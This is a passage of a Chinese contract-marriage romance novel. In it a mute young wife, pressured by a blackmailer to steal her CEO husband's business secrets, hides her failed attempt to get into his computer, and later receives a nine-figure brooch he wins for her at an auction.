可脚跟刚旋过半圈,身后忽然传来细碎的动静。他下意识回头,就见诸愿从宽大的办公桌下站起身,额头碎发微乱,正仰头望着他。 顾识弈蓦地怔住,他分明已经……不等他理清思绪,少女手里的平板已经递到他面前,亮着的屏幕上写着一行字: 【平板被我玩没电了,我在你这里充电可以吗?】 他瞥了眼腕表,时针指向恰好距离他离开已经一个小时,临走前便见她抱着平板玩得专注,若是全程没停,没电倒也“合情合理”。 可,视线落回她局促不安的脸上,那点小心翼翼的模样实在太明显了,勾得他忽然起了坏心思,一本正经地问道:“为什么蹲着不坐在椅子上?” 诸愿像是被问住了,怔了一下才把平板收回,指尖在备忘录里飞快敲打,字里行间都透着股谨慎。 【我不敢坐,怕你生气。】 顾识弈愕然。 她是觉得,这总裁办公室的真皮转椅,只有顾氏继承人配坐? 他上前一步,双手轻轻落在她肩膀两侧,微一用力便将人按在了转椅上。 调节高度,让座椅垫弧度贴合着少女的身形。 感受着恰到好处的柔软,诸愿瞳孔骤然放大,整个人下意识后仰,对上男人垂下来的目光。 他的眼睫很长,在眼睑下投下浅浅的阴影,衬得那双深邃的眸子愈发专注。 顾识弈看着她惊慌失措的模样,唇边漾开一抹极浅的笑,声音放得很轻,却带着不容置疑的认真:“你是例外。” 诸愿握着平板的手指猛然收紧,愧疚像潮水般涌上心头。 五分钟前,她在心里默念过一声“对不起”,便走到顾识弈的办公桌前,想打开他的电脑。 可屏幕亮起的瞬间,密码输入框赫然出现。 而她根本不知道密码! 无法从电脑下手,她正想翻翻桌面的文件,办公室门却传来了轻微推动的声响。 没想到顾识弈竟然这么快就回来了! 千钧一发之际,她抓起手边的平板,矮身躲进了桌下。也是这时,她瞥见了桌板旁的插座,一个主意瞬间冒了出来。 听着他的脚步声越来越近,几乎要停在桌前,她索性心一横,主动站起身,强装镇定地迎上他的目光。 直到此刻听见他说,“你是例外”,诸愿心里五味杂陈。 一方面为打消了他的怀疑而松了口气,另一方面,面对他毫无保留的信任,那份藏在心底的、不单纯的目的让她越发难受。 —— 中午十二点,生活助理准时送来午餐,食盒打开的瞬间,清淡的香气漫了出来。 两人在沙发上相对而坐,诸愿夹了一块鱼肉塞进嘴里,咀嚼了一下才猛地想起,这不是静姨做的菜。 家里的鱼肉永远会被静姨仔细挑去所有鱼刺,可外面的餐馆,未必会这么做。 她心里一紧,趁着顾识弈低头用餐的间隙,用纸巾捂住嘴悄悄吐了出来。再夹起一块,这回她不敢大意了,用筷子轻轻戳碎鱼肉,翻来覆去地扒拉。 可挑了半天却发现竟没有一根鱼刺。 她狐疑地又夹了一块,而好运似乎格外眷顾她,接下来挑的几块鱼肉也都是无刺的,甚至连果蔬都是削好皮的。 诸愿正暗自感谢生活助理准备得这般合心意,身旁的顾识弈忽然开口:“下午想做什么?” 她愣了一下,慢半拍才反应过来。 她跟着来公司的理由是“在家无聊”,可一上午,她不过是在沙发上玩了两小时贪吃蛇。 那明明是在家也能玩的游戏,根本没必要特意跑到总裁办公室来玩。 诸愿偷偷抬眼,飞快地觑了眼他的脸色。 顾识弈神情淡然,看不出什么情绪,可她心里却直打鼓:他会不会已经察觉到了不对劲?会不会怀疑自己另有目的? 似乎察觉到她的注视,顾识弈抬眸看了过来,目光沉静,却像深潭。 诸愿慌忙低下头,眼珠子在眼眶里飞快转动,琢磨着该怎么圆自己那蹩脚的理由。 “没想好?”顾识弈反倒先一步打破沉默,提议道:“要不要去公司里转一圈?” 有现成的台阶,诸愿立刻用力点头。 可吃完饭,一阵浓重的困意先涌了上来,她忍不住打了个大大的哈欠,眼角泛出水光。 感受到顾识弈的视线,她赶紧放下捂嘴的手,脸颊微微发烫,有些不好意思。 都怪饭菜太合胃口,一不小心就吃多了,吃饱了就容易犯困。 她拿出手机打字:【我现在出去转一圈。】 “我陪……” 【我自己可以。】诸愿飞快打字打断他,【正好散食。】 若是顾识弈在身边,周围那些员工若有似无的打量目光总会让她浑身不自在,像是被架在火上烤,不如她自己转。 顾识弈的话顿在嘴边,沉默片刻后应允了,只是叮嘱道:“有事发消息,我随时拿着手机。” 诸愿点头应下,走出总裁办的瞬间,长长地呼出一口气,像是卸下了一身无形的枷锁。 沿着铺着地毯的走廊慢慢往前走,路过陈秘书的工位时,发现没人在,想来是还在吃饭。 不知不觉间,她走到了茶水间和休息区的交界处,那里有三五成群的员工正围着餐台吃午饭,说说笑笑的声音飘了过来。 诸愿不想上前凑热闹,正准 备转身离开,“顾总”“夫人”两个词却精准地钻进了她的耳朵里。 脚步下意识顿住,好奇心驱使着她悄悄闪到了柱子后面。 她们似乎没发现她,聊天还在继续。 诸愿先在心里鄙夷了一下自己的偷听行为,随即又安慰自己:聊的是她自己的八卦,怎么能算偷听呢? 说服了自己,她便心安理得地听了起来。 只见一个戴黑框眼镜的女生扶了扶鼻梁上的眼镜,神神秘秘地说:“你们绝对想不到,今天中午我给顾总和顾总夫人点餐时,顾总提了什么要求。” 诸愿这才看清,她就是那个送午餐的生活助理,原来那顿合心意的午餐,竟是她按照顾识弈的要求点的。 “提了什么要求?快说快说!”其他人显然也好奇得不行,纷纷催促,眼里满是八卦的光芒。 “顾总他说——”生活助理故意吊足了胃口,拖长了语调,才学着顾识弈那冷淡疏离的语气开口,“午餐准备清淡口味,所有肉类都要去骨,果蔬要剥皮,葱姜蒜只取其味,做好后务必挑出来。另外,任何菜都不能放蚝油、芝麻和花生酱。” 说完,她还故意抬眼,眼神锐利地扫过众人,模仿着顾识弈的口吻追问:“记住了吗?” 众人被她这突如其来的气场唬得一愣,随即有人笑骂道:“靠,我还以为你被顾总上身了!” 诸愿躲在柱子后,也忍不住点头:这语气,真的和顾识弈一模一样! “不过说真的,没想到顾总这么宠夫人。”有人感慨道,语气里满是羡慕,“我还以为有钱人联姻都是有名无实,没想到顾总不仅记得夫人这么多忌口,还特意叮嘱得这么细致,也太令人羡慕了吧。” “确实!”另一个人附和:“我跟男朋友说了八百遍我不吃葱,转头还是会忘,顾总身居高位,日理万机,却能注意到这些细节,真是难得。” 附和声此起彼伏,诸愿却托腮陷入了沉思。 这个生活助理,难道是顾识弈请来的托?专门在员工面前散布她们婚姻“甜蜜”的假象,好稳固他顾氏继承人的形象? 倒不是她不承认顾识弈对自己好,只是生活助理口中的这份好,太过细致,细致到像是……喜欢她? 可这怎么可能呢。 她们不过是协议结婚,诸愿无比确定,顾识弈绝对不喜欢自己。 所以,一定是生活助理夸大其词了! 这样想着,肚子里的饱胀感也消散了不少。她转身回顾识弈的办公室,刚走到门口,就听见里面传来他和林秘书说话的声音。 她以为他在忙工作,怕进去打扰,便停在了门外。 “要三分糖,她不能吃太甜。”顾识弈的声音透过门缝传出来,清晰无比,“茶底也不能太浓,她不爱吃苦。” 林秘书恭敬地应道:“好的顾总。” 诸愿愣住了,这是在点奶茶? 给她的? 可她不喜欢三分糖,更喜欢全糖奶茶,再不济也是七分糖。 三分糖对她来说太淡了。 眼看林秘书就要出来,她连忙往后退了几步,站在走廊拐角处。 神色故作自然,一副刚散步回来的样子。 林秘书推门出来,看见她后笑着喊道:“太太。” 诸愿微笑着点点头,在他的注视下,缓缓踏入办公室。 刚一进门,正在低头看文件的顾识弈便抬眸望了过来,“回来了。” 诸愿点点头,心里痒痒的,想问那奶茶是不是给自己的,可一想到这话是偷听来的,问了不就露馅了,只好把话咽了回去。 这时,顾识弈忽然放下文件,问道:“要不要睡个午觉?” 她瞥了眼不远处的沙发,之前在这里无人的时候睡过一次,但现在顾识弈在场,总觉得浑身不自在,有种被窥探的安全感缺失。 顾识弈似乎看穿了她的犹豫,却猜错了她的心思:“怕吵的话,可以去里面的休息室。” 诸愿这才知道,这偌大的总裁办公室里,竟然还藏着一间休息室。 顾识弈推开侧面一扇不起眼的暗门,门后便是一张宽大的大床,床上用品一应俱全。 顾识弈从柜子里拿出一套崭新的被套,动手铺床,一边铺一边解释:“之前加班太晚,会在这里凑活一晚。” 诸愿想起上半年,他除了出差,几乎每天都按时回家,想来那时公司并不忙。 看着他忙前忙后的身影,她连忙上前想帮忙,却被他拦住,温声道:“我来。” 她想了想,若是他喜欢独自动手,自己硬要帮忙反而惹他不快,便只好站在一旁看着。 看着他熟练地换床单、套被罩、整理枕套,铺好的床铺变得松软平整,看着就格外舒服。 诸愿已经困得眼皮打架,正想着等他出去,自己就立刻窝进去睡觉,便听见顾识弈对她说:“过来吧。” 她抬头望去,只见顾识弈站在铺好的床沿边,目光直直地看着她。 一个可怕的念头在她脑海里炸开,让她瞬间清醒了大半: 顾识弈该不会要和她一起躺在这张床上睡觉吧?! 第38章 诸愿早清楚,拿了顾识弈的钱,就得任他差遣。 可真到了这关头,还是控制不住地想退缩。 “在想什么?”顾识弈的声音裹着笑意,漫不经心飘过来。 诸愿没听出端倪,强装镇定地摇摇头,指尖却早已攥得发白,泄露了满心的紧张。 顾识弈低笑一声,笑意转瞬即逝,换上正经模样:“那你在这休息,我出去处理工作。” 诸愿愣住了,眼底满是错愕,他竟然不是要留下来? 惊愕的神情太过直白,顾识弈忍不住又逗她:“我不陪你,很失望?” 诸愿生怕他反悔,脑子还没转过弯,就忙不迭地摇头。 “噢,原来是不想要我陪。” 这下诸愿彻底僵住,点头不是,摇头也不是,只能眨巴着圆溜溜的杏眼望着他,一副无措又可怜的模样。 顾识弈本是故意逗她,见少女这幅模样,心头又软了下来,那点捉弄的心思瞬间烟消云散。 他上前,抬手揉了揉她的发顶,语气放柔:“好了,我出去了。” 诸愿只觉脸颊发热,慌忙窝进被窝里,过了好一会儿才后知后觉反应过来,自己这是被捉弄了! 她气鼓鼓地扯过被子蒙住头,可被子上却飘着顾识弈身上特有的松木清香。她幼稚地掀开一角,刚露出一只胳膊就打了个寒颤,只能重新裹紧被子,并自我安慰:被子是无辜的。 昨夜一夜辗转难眠,此刻困意汹涌,她闭上眼睛,没一会儿就沉沉睡去。 再次醒来时,室内一片昏暗,诸愿吓了一跳:她竟然睡了这么久? 揉了揉惺忪的睡意,才发现落地窗的遮光帘不知何时被拉得严严实实。 她下床穿鞋,一把拉开帘子,漫天霞光映入眼帘,原来已近黄昏。 她穿好衣服,拉开休息室的门,想去找顾识弈,可一出门,就被眼前的景象惊得僵在原地。 顾识弈的办公桌前站着几十号人,年纪最大的看着已过五十,个个衣着考究,神色肃穆,此刻齐刷刷地朝她望来,目光里满是探究。 诸愿握着门把手的手微微僵住,恍惚间以为自己做了个荒诞的噩梦。 低头看文件的顾识弈察觉到周遭的安静,抬眼顺着众人的目光望去,恰好对上诸愿那双呆呆的、带着点惊慌的眼神。 “这女孩是谁?怎么从总裁休息室出来的?”不知是谁小声嘀咕了一句,声音不大,却清晰地飘进了诸愿耳中。 她瞬间清醒过来,转身就想逃回休息室,却被顾识弈的声音叫住:“诸愿。” 她下意识停住脚步,回头时,顾识弈已迈步走到她面前,在一众狐疑的目光中,他沉声开口,语气郑重:“这是我的妻子,诸愿。”说完又转向她,柔声解释:“他们都是董事会的成员。” 最后,他看向众人,补充道:“诸愿不善言辞,各位伯伯多担待。” 这话一出,众人眼底都闪过了然。 前段时间顾识弈为了妻子和大伯母翻脸的消息早已在圈内传开,如今他这般郑重其 事地介绍,没人再怀疑这份心意,纷纷恭敬地颔首:“夫人好。” 此起彼伏的问候让诸愿脸颊发烫,比早上走进公司大厅时还要燥热几分。 但她知道不能转身逃离,只能强撑着扬起嘴角,礼貌地点了点头。 等众人散去,诸愿才长长松了口气,抬手拍了拍自己发烫的脸颊。 被比自己大二十几岁的长辈这般称呼,实在有些诡异。 这时林秘书推门进来,手里端着一杯奶茶,提前解释道:“太太,这是顾总特意吩咐给您现做的。” 诸愿立马想到睡前偷听到的三分糖奶茶,在顾识弈的注视下犹豫了一下,还是伸手接了过来。 她喝了一口,眼睛瞬间亮了。 里面的配料丰富,口感醇厚丝滑,竟意外地合她胃口。 她惊喜地看向顾识弈,眼底闪着细碎的光,他却没半点邀功的意思,转而问道:“今晚有场拍卖会,陪我一起去?” 诸愿早已习惯他的安排,立刻点头应允。 晚间,诸愿换上一身白杏色鱼尾针织长裙,裙摆随着动作轻轻摇曳,外搭一件同色系不规则披肩,既抵御了秋天的凉意,又不失优雅。 长发挽成低丸子头,露出纤细优美的脖颈,手上拎着一只小巧的银链白包,整个人透着一股清冷又矜贵的气质。 顾识弈看见她的那一刻,微微愣了神。等他回过神,诸愿已笑意盈盈地朝他走来。 他敛了敛神,绅士地伸出臂弯,少女轻轻挽住,指尖不经意间触到他的衣袖。 顾识弈的目光落在她无名指上那枚秘书匆忙购置的婚戒上,眉头微不可察地蹙了蹙,莫名觉得刺眼。 他突然想重新买一枚,可抬眼看见诸愿弯着杏眼冲他笑,那笑意真切又纯粹,到了嘴边的话便咽了回去—— 算了,等买回来再说吧。 拍卖会场地布置得极尽奢华,巨大的水晶灯折射出璀璨夺目的光芒,空气中弥漫着淡淡的香槟香气与高级香水的味道,衣香鬓影间,尽是低调的矜贵与从容。 诸愿刚在二楼包厢坐下,侍者便递来一本烫金花名册。 顾识弈接过,还没翻开便转手递给她:“看看,有喜欢的吗?” 诸愿下意识接住,翻开第一页,一对珍珠耳环的图片便跃入眼帘。 主体是圆润饱满的澳白珍珠,衔住珍珠的银环上镶嵌着密密麻麻的小钻石,即使只是一张照片,都泛着温润又耀眼的光泽。 诸愿在心里惊叹“真好看”,目光下移,看清七位数的起拍价时,忍不住倒吸一口凉气,默默翻到了下一页。 这根本不是她该看的东西! 然而第二面的祖母绿复古戒指更是贵,竟要八位数! 诸愿不信邪的将整本花名册看下来,却发现,每件拍品的价格都高得吓人,等翻到最后一件九位数起拍的‘山茶密珠’胸针时,她那点微不足道的激动彻底烟消云散。 心说:幸好只是来凑热闹,不用自己掏钱,不然她的心怕是要滴血。 这时,诸愿突然感觉肚子涨涨的,下午喝了一大杯奶茶,此刻实在憋不住了。 她看了眼一旁和拍卖会会长讨论拍品价值的顾识弈,进场前见过洗手间的指示牌,心想自己出去应该没问题。 可她刚站起身,顾识弈的目光就转了过来:“怎么了?” 诸愿暗自惊叹他的敏锐,明明他看起来听得十分专注,却没想到自己刚有动作就被发现了。 会长也停下话头望过来,她像被逮住的小猫,走也不是,坐也不是。 直接说去洗手间,好像又不太优雅。 顾识弈扫过桌面的空咖啡杯,瞬间明白了缘由,也懂她的顾虑,只淡淡问了句:“认路?” 诸愿连忙点头,见他应允,又对会长歉意地笑了笑,才迈着小步,尽量维持着端庄的姿态离开。 毕竟她现在是“顾太太”,不能失了分寸。 可一出包厢,没人看见的地方,她立刻放松下来,挺直的脊背微微垮了垮,不再端着僵硬的姿态。 洗手间的洗手池围着双面镜台,诸愿刚从隔间出来,把手放在自动感应水龙头下,就听见镜子另一面传来两个女生的说话声。 “听说顾总今天也来了。”一个娇憨软糯的声音响起,带着点雀跃。 另一个声音清冷许多:“所以?” 娇憨的声音犹豫,又忍不住试探:“前段时间兰家和顾家联姻的消息传得沸沸扬扬,你们遇上了,怎么也该打个招呼吧?” 诸愿本没在意,只想着赶紧洗完手离开,可那清冷的声音接下来的话,却让她心头猛地一震:“那都是多久前的谣言了,我和顾识弈,根本不可能了。” 顾识弈? 她竟然是顾识弈前联姻对象? 诸愿心里一惊,转念又慌了,要是被她们发现自己在这,岂不是很尴尬? 卫生间的出口在镜子背面,想要出去,必须绕过去。 她只好按了一泵洗手液,细细揉搓着双手,装作只是来洗手的普通路人。 那两人似乎没察觉到她的存在,依旧自顾自地聊着。 “我这不是想着你以前喜欢过他,最近两家生意又走得近,万事皆有可能嘛。”娇憨的女生说道,语气里带着点八卦,“而且你平时不都让手下人来拍卖会,今天怎么亲自过来了?顾总也在,真不是算好的偶遇?” 两人说着就要离开,诸愿听见清冷的女生语气笃定,带着点势在必得:“我是为了‘山茶密珠’来的,这次绝不能失手。” “天呐!那可是九位数的胸针,你钱包顶得住吗?”娇憨女生的惊呼声透着难以置信。 诸愿愣了愣,反应过来后暗自咋舌——果然是能和顾识弈联姻的人,都这么有钱。 等两人走了约莫一分钟,她才出去,却没料到,两个女生就在不远处的走廊上,而她们对面站着的,正是顾识弈。 诸愿下意识退回卫生间,屏住呼吸,心脏砰砰直跳。 她最怕尬尴,这要是出去,场面简直没法收拾。 躲在门后,还能听见三人断断续续的对话。 娇憨的女生兴奋地说:“顾总,这么巧!……清清想要拍下‘山茶密珠’呢!” 诸愿正掰着手指算她们还要聊多久,就听见顾识弈的声音传来,一如既往的平静无波,却带着不容置疑的笃定:“我会拍下它。” 诸愿眨巴了下眼睛,以为自己听错了。 她悄悄扒着门缝望过去,只见那两个女生也满脸震惊地望着顾识弈,显然也没料到他会这么说。 清冷的女生先回过神,轻咳一声,嘴角微微上扬,声音里的笑意藏也藏不住:“你什么时候对我这么大方了?” 诸愿这才确认,顾识弈是真的要把那枚九位数的胸针送给别人。 心头莫名涌上一阵酸涩,像被什么东西轻轻蜇了一下,细细密密的,不疼,却很难受。 第39章 等诸愿再看,长廊里只剩下顾识弈孤身伫立。 他垂眸瞥了眼腕间手表,眉宇间凝着一丝焦灼,像是在等什么人。 忽然,他似有所感,倏然抬眼,目光精准地落在她身上。 四目相对的瞬间,空气仿佛凝滞了半秒,他眼底的焦灼褪去了些许,多了层说不清道不明的轻快。 “好了?”他迈步走近,声音低沉悦耳。 诸愿点点头,指尖无意识地攥了攥裙摆。 回到包厢时,拍卖会恰巧拉开序幕。 四周陷入昏暗中,唯有下方的展示台亮着刺眼的聚光灯,包厢里只剩她和顾识弈两人,倒比刚才少了几份拘束。 诸愿趴在冰凉的雕花栏杆上,下巴抵着手臂,目光散漫地往下扫。 拍卖师健步上台,清了清嗓子,开始宣读竞价规则。 换做平时,就算不打算竞买,诸愿也会饶有兴致地欣赏那些价值连城的拍品,但此刻心头像压了块石头,沉甸甸的提不起半分精神,整个人焉焉的。 顾识弈的视线落在她耸拉着的发顶上,眸色微深。 自回来后,少女就像霜打过的花,突然没了先前的鲜活灵动。 “看到喜欢的,就举牌。”他开口,语气平淡得像是在说“这颗白菜想买就买”。 诸愿侧头诧异地看他,顾识弈要送她拍品?转念又 想,这些在她眼里遥不可及的天价物件,于他而言或许不过是九牛一毛,根本不值一提。 她心里感激这份大方,却不敢真的收。 半年来,她从顾家得到的已经够多了。 但她也没直接拒绝,怕扫了他的兴,只是顺从地点点头,目光重新落回台下,却始终没碰面前的竞价牌。 顾识弈不知她心底的纠结,过了几件,只当是这些拍品都入不了她的眼。 他指尖摩挲着掌心,想到最后一件藏品,她应该会喜欢。 拍卖渐入尾声,场内却不见半分散场的迹象,反而人人屏息凝神,脸上透着按捺不住的激动,像是在等待一场重头戏。 终于,两名穿月白色旗袍的的侍者推着一个暗红色丝绒礼盒缓步上台,观众席上瞬间响起一片衣物摩擦的轻响,原本歪斜的身子尽数坐直,连呼吸都放轻了。 “接下来,是今晚的压轴拍品——相信在场绝大多数朋友,都是为它而来。”拍卖师故意顿了顿,吊足了胃口,才示意侍者掀开丝绒盖布,“这枚‘山茶密珠’,究竟会花落谁家呢?” 盖布滑落的瞬间,背后的巨幕实时映出胸针的摸样,观众席上此起彼伏地响起倒吸冷气的声音。 “我的天!是真的‘山茶密珠’!传说中用火焰纹孔克珠做花蕾的那枚!” “孔克珠本就稀有,还带着这么清晰的火焰纹,中间镶嵌的白钻怕是得有好几百颗吧?” “这设计太惊艳了!山茶花的姿态栩栩如生,仿佛下一秒就要绽放!” “听说之前被欧洲王室收藏过,怎么会出现在这里?” 窃窃私语不绝于耳,诸愿的目光也被巨幕牢牢吸住。 那正是她之前在图录上看到的最后一件藏品,也是顾识弈要送那位清冷女生的“山茶密珠”。 放大看比图录上还要震撼,渐变切割的白钻层层叠叠,仿形山茶花盛放的姿态,花瓣边缘的浅金镀层在灯光下流转着柔光,最中央的孔克珠呈椭圆型,表面的火烈纹随着光线移动,仿佛真的有火苗在其中跳跃,将整枚胸针衬得璀璨又灵动。 难怪要价九位数。诸愿在心里轻叹。 “‘山茶密珠’起拍价一亿一千万美元,现在,竞价开始!”拍卖师的声音徒然拔高,带着几分煽动性。 “一亿二千万。”话音刚落,第一排就有人举牌,声音急促。 “一亿四千万。”没等拍卖师确认,斜后方就有人直接加价两千万,语气带着势在必得的强势。 “一亿五千万。” “一亿八千万。” “两亿!” 价格像坐了火箭般飙升,场内的气氛瞬间被点燃。 有人急于拿下,直接数千万地加价,有人步步紧逼,每次只追加几百万,却死死咬住不放。 几个回合下来,价格就冲破了两亿大关。 渐渐地,一些财力不济的竞争者陆续弃权,场内只剩下三方势力还在死磕。 当价格攀升至2.6亿时,又有一方摇了摇头,无奈放下了竞价牌。 剩下的两人一左一右,竞价牌举得又快又急,“2.8亿”“3亿”“3.1亿”的喊声此起彼伏,空气里都弥漫着剑拔弩张的味道。 当价格升到3.3亿时,另一方颓然放下牌子。 众人以为3.3亿已是极限,突然有侍者匆匆走上台,在拍卖师耳边低语了几句。 拍卖师眼睛一亮,高声宣布:“有贵宾委托加价,3.8亿!” 新的厮杀再次上演,只是这一次,双方都变得谨慎起来。每一次加价前都要低声商议片刻,十分钟过去,价格才艰难地爬到3.9亿。 诸愿忽然想起什么,狐疑地看向身旁的男人。 顾识弈不是要拍下这枚胸针送给那位女生吗?怎么从头到尾都没举过牌? 她偷瞄过去,只见他靠在沙发上,姿态慵懒,神色泰然自若,仿佛场内的激烈竞价与他无关,半分着急的样子都没有。 就在这时,最后一名竞争者像是终于撑不住,摇了摇头放下了牌子。 全场一片寂静,所有人都以为这枚“山茶密珠”将以3.9亿的价格成交时,诸愿看见顾识弈缓缓抬起了手,指尖夹着的竞价牌在昏暗的灯光下闪着冷光。 “五亿二千万!”拍卖师的声音瞬间飚到了最高,带着难以置信的激动,“二楼的顾总出价五亿二千万美元!还有没有人出比五亿二千万更高的!” 诸愿猛地睁大眼睛,怔怔地看向顾识弈。 原来他不是不叫价,只是一直在蛰伏,等的就是这一刻,一击制胜。 似乎察觉到她的目光,顾识弈侧过头,漆黑的眼眸看着她惊愕的模样,薄唇微启,像是要说什么。 “嗡嗡——”包里的手机却在这时震动起来,诸愿顺势低下头,从白色的手提包里掏出手机,看清来电显示上的“诸世青”三个字,脸色骤然一白。 她飞快地抬眼瞥了顾识弈一眼,好在他已经移开了目光,像是恰好没注意到她的失态。 诸愿松了口气,按掉震动,点开短信界面,果然看到诸世青在一分钟前发来了消息: 【看来顾总是真的宠你,一出手就是五亿二千万。】 诸愿好看的眉毛紧紧蹙起。 诸世青该不会以为,顾识弈这五亿二千万,是为她拍的吧? 这个念头刚闪过,就被另外一个更让她心惊的疑问取代:诸世青怎么知道顾识弈花了五亿两千万? 难道诸世青的眼线已经渗透到了顾识弈身边?不,从顾识弈叫价到他发来短信,不过短短一分钟,除非……诸世青也在现场! 心瞬间提到了嗓子眼。 诸世青来这里干什么?要揭穿她? 不,不可能,他还指望着她盗取顾家的商业机密,绝不会在这时候破坏。 诸愿咬紧下唇,强迫自己冷静下来。 能进入这个拍卖会的,非富即贵,以诸世青的身份,按理说根本没资格入场。 就算他混进来了,也绝无财力竞买任何一件拍品,想必是跟着什么人来的。 或许,只是恰巧知道她在这里罢了? 手机再次震动,诸世青的第二条短信跳了出来:【别忘了我交代的事。不然,现在顾总有多宠你,以后就会有多恨你!】 冰冷的文字像一记警钟,狠狠敲击在诸愿的神经上,让她浑身泛起寒意。 “诸愿。”顾识弈的声音突然响起,将她从纷乱的思绪中拉回现实。 诸愿飞快按黑手机屏幕塞进包里,抬眼看向他。 他已经站起身,整理了一下西装外套:“走吧。” 诸愿愣住:走? 她顺着栏杆往下看,才发现台下的人已经开始陆续离场,拍卖会竟然结束了! 那那枚“山茶密珠”,最后被谁拍下了? 她偷偷观察顾识弈的神色,他的脸上毫无波澜,看不出半点拍下珍品的喜悦,也没有失之交臂的遗憾。 她不敢多问,只能拿起包,快步跟上他的脚步。 走出包厢门,就看见刚才在台上的拍卖师恭敬地站在走廊尽头,见到他们立刻躬身:“顾总,夫人,这边请。” “夫人”两个字让诸愿脸颊微热,也瞬间明白,是顾识弈拍下了那枚胸针。 也是,在花城,顾识弈的财力称第二,没人敢称第一,拿下这枚胸针,本就是情理之中。 只是不知道最后是以多少钱拿下的。 这时,一道清冷的女声突然从斜前方传来:“等一下。” 诸愿抬眼,只见之前在卫生间遇到的两个女生正站在不远处,拦住了他们的去路。 她也终于看清了那位清冷女生的模样。 眉峰锋利,眼尾上挑,英气中带着几分柔媚,是那种极具攻击性的美,让人一眼难忘。 诸愿在心里暗忖,她和顾识弈站在一起,确实般配。 两人都是气场强大的人,一看就是势均力敌的双强组合。 “诸小姐。”清冷女生率先开口,朝她伸出手,指尖涂着冷调的豆沙色指甲油 ,衬得手指白皙修长,“我是兰若清,认识一下。” 诸愿没想到她是和自己打招呼,愣了一瞬才反应过来,赶紧伸出手轻轻握了握她的指尖。 一旁的顾识弈眉头微蹙,黑眸里闪过一丝不悦,扫向兰若清的目光带着不易察觉的警告,像在守护什么珍宝。 这一幕恰好被放下手的诸愿看在眼里,她心里咯噔一下,愈发确定,那枚“山茶密珠”,就是顾识弈为兰若清拍下的。 她抿了抿唇,心头莫名涌上一股涩意。 这种难过很奇怪,不是因为羡慕那枚九位数的胸针,而是因为……她也说不清楚为什么。 兰若清应该是来和顾识弈一起去领胸针的吧?那她是不是应该识趣地避开? 就在诸愿犹豫要不要离开时,兰若清语气带着几分恳求道:“我从半年前就看中了‘山茶密珠’,可以……” “不行。”顾识弈骤然打断她,语气冷硬,没有半分转圜的余地。 说完,他直接牵起诸愿的手,转身就走。 诸愿被他拉着,掌心传来他温热的温度和有力的触感,怕跟不上摔倒,只能快步走路。 她回头看了一眼,兰若清站在原地,脸色难看到了极点,眼底翻涌着怒火与不甘。 诸愿反而看不明白现在是什么情况了。 背后,一同前来娇憨的女生终于能插上话,连忙安慰道:“清清,别生气了,虽然没得到,但也让顾总多花了那么多钱才拍下来,也算出了口气不是。” “出气?”兰若清的声音带着压抑的怒火,几乎要咬碎银牙,“这点钱,你以为顾识弈在乎?” 娇憨女生咋舌,这么多钱竟然还不在乎!那顾氏集团到底有多賺钱?! 兰若清为了这枚胸针,早已下定决心势在必得。 她一直等到最后一名竞争者出价3.3亿才委托加价,等到了3.9亿已是她的极限。 谁知顾识弈隐而不发,直到她以为胜券在握时突然加价,每次都在她的出价基础上翻几倍,逼得她不得不咬牙追价。 后来上头,她直接喊到了六亿,可顾识弈竟然毫不犹豫地点了天灯。 那是拍卖场的最高规则,意为无论对方出多少,他都要拿下,同时也是在告诉她,这枚胸针,他志在必得! 另一边,拍卖师将他们带到了一间VIP休息室。 拍卖会的会长早已等候在里面,见到顾识弈立刻眉开眼笑地迎上来:“顾总,恭喜恭喜。” 会长身旁站着两位穿月白色旗袍的侍者,其中一人端着一个托盘,托盘上放着的,正是那个装着“山茶密珠”的丝绒礼盒。另一人上前一步,小心翼翼地掀开了盖布。 “顾总,夫人,请过目。” 诸愿的目光落在胸针上,呼吸微微一滞。 实物比在屏幕上看着还要光彩夺目,孔克珠的火焰纹在暖光下流转,白钻的璀璨与浅金的温润交织,美得让人移不开眼。 就在她失神之际,顾识弈拿起那枚胸针,转身面向她。 他的动作温柔,指尖带着微凉的触感,轻轻将胸针别在了她那件不规则剪裁的披肩胸前。 冰凉的金属贴合着布料,伴随着他低沉温柔的声音,像羽毛轻轻拂过她的心尖:“很适合你。” 诸愿彻底呆住了。 时间仿佛在这一刻静止,她能清晰地听到自己擂鼓般的心跳声,咚咚作响。 耳边的一切声响都变得模糊,脑子里只有一个念头:那枚价值九位数美元的“山茶密珠”,竟是别在了她的胸前! 第40章 诸愿被顾识弈攥着手腕走出VIP休息室时,脑子还有点晕乎。 她后知后觉地反应过来,这枚在拍卖场上引得全场屏息的“山茶密珠”,竟然是为她拍下的! 胸针上的孔克珠与碎钻交相辉映,她每走一步,便有细碎的光在前襟流转,像盛了半捧星光。 诸愿忍不住频频低头,视线黏在那枚价值九位数美元的珍宝上,嘴角的笑意一直没落下,连脚步都轻快了几分,全然忘了看路。 “咚”的一声,她猝不及防撞上顾识弈硬挺的后背,吃痛地闷哼一声,眼泪差点被逼出来。 顾识弈显然没料到她会撞上来,转身时眉峰拧起,俯身便要查看她的伤势:“撞疼了?” 话音刚落,却见诸愿根本没理会自己泛红的鼻尖,反倒急忙低下头,小心翼翼地拎起披肩,指尖轻轻拂过胸针的边缘,那模样像是怕刚才的撞击震落了哪一颗碎钻。 顾识弈悬着的心悄然落下,望着她那副宝贝得不行的样子,无奈又好笑地勾了勾唇角“很喜欢?” 诸愿闻言抬头,脸颊泛起一层淡淡的红晕,不好意思地看了他一眼,轻轻点了点头,随即又低下头,目光重新黏回胸针上,耳根透着羞赧。 这副既害羞又坦诚的模样,像一根柔软的羽毛,轻轻搔过顾识弈的心尖,砰砰直跳。 他喉结滚动了一下,下意识便说:“你喜欢,我可以给你买更多,项链,手链,耳环只要你想要。” 诸愿猛地抬头,慌忙摆手打断他。 她确实很喜欢这个胸针,可也清楚自己只是扮演“顾太太”的角色,等约定期限一到,便要物归原主。 再接受顾识弈的其他馈赠,就超出她的底线了。 顾识弈皱眉,正要再说些什么,身后突然传来两道喊声:“弈侄、侄媳。” 两人回头,只见顾文城带着正远的两位董事站在不远处。 左边的中年男人率先开口,语气里满是刻意的恭维:“我说花城顾氏还有谁能如此大手笔点天灯,原来是顾总。为博美人一笑,果然名不虚传。” “顾夫人生得这般貌若天仙,换做是我,也愿意豪掷千金。”右边的中年男人说着,目光在诸愿身上肆无忌惮地扫过,眼神黏腻,带着不加掩饰的贪婪。 两人相视一笑,笑声里满是轻佻,中间的顾文城似笑非笑地看着,一副隔岸观火的看戏姿态。 诸愿下意识地往后缩了缩,顾识弈顺势将她护在身后,宽肩隔绝了不怀好意的目光。 